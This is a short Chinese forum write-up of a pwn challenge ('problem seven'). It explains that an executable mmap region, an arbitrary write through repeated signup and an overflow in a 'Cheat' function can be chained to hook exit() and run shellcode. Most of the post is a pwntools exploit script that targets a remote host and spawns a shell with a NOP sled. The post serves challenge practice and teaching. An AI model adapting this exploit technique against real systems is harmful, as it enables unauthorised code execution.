-
-
[原创]第七题分析
-
发表于: 2017-11-7 09:48 2334
-
mmap申请了一块具有执行权限的内存,埋下隐患。重复执行Signup会造成任意地址写,用来hook api; Cheat可以溢出,用于布shellcode。菜鸟一枚,还是直接贴代码吧
from pwn import *
context(arch = "amd64", os = "linux",log_level='debug')
#p = process('./pwn')
p = remote('123.206.22.95', 8888)
elf = ELF('./pwn')
def Signup(name,passwd,character):
p.recvuntil('==============================\n')
p.recvuntil('==============================\n')
p.sendline('2')
p.recvuntil('input your username\n')
p.sendline(str(name))
p.recvuntil('input your password\n')
p.sendline(str(passwd))
p.recvuntil("input your character's name\n")
p.sendline(str(character))
def Login(name,passwd):
p.recvuntil('==============================\n')
p.recvuntil('==============================\n')
p.sendline('1')
p.recvuntil('Input your username:\n')
p.sendline(str(name))
p.recvuntil('Input your password:\n')
p.sendline(str(passwd))
def Cheat(name,content):
p.recvuntil('0.exit\n')
p.sendline('5')
p.recvuntil('name:\n')
p.sendline(str(name))
p.recvuntil('content:\n')
p.sendline(str(content))
p.recvuntil('0.exit\n')
p.sendline('0')
def Cheat1(content):
p.recvuntil('0.exit\n')
p.sendline('5')
p.recvuntil('content:\n')
p.sendline(str(content))
payload=p32(0x90909090)*22+p64(0x4008eb)*4+p32(0x90909090)*10+asm(shellcraft.sh())+p32(0x90909090)*16
username=p64(0x605080)
Signup(username,'','')
Login(username,'')
Cheat('','')
#hook exit()
Signup(username,'','')
Login(username,'')
#exploit
Cheat1(payload)
p.interactive()
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)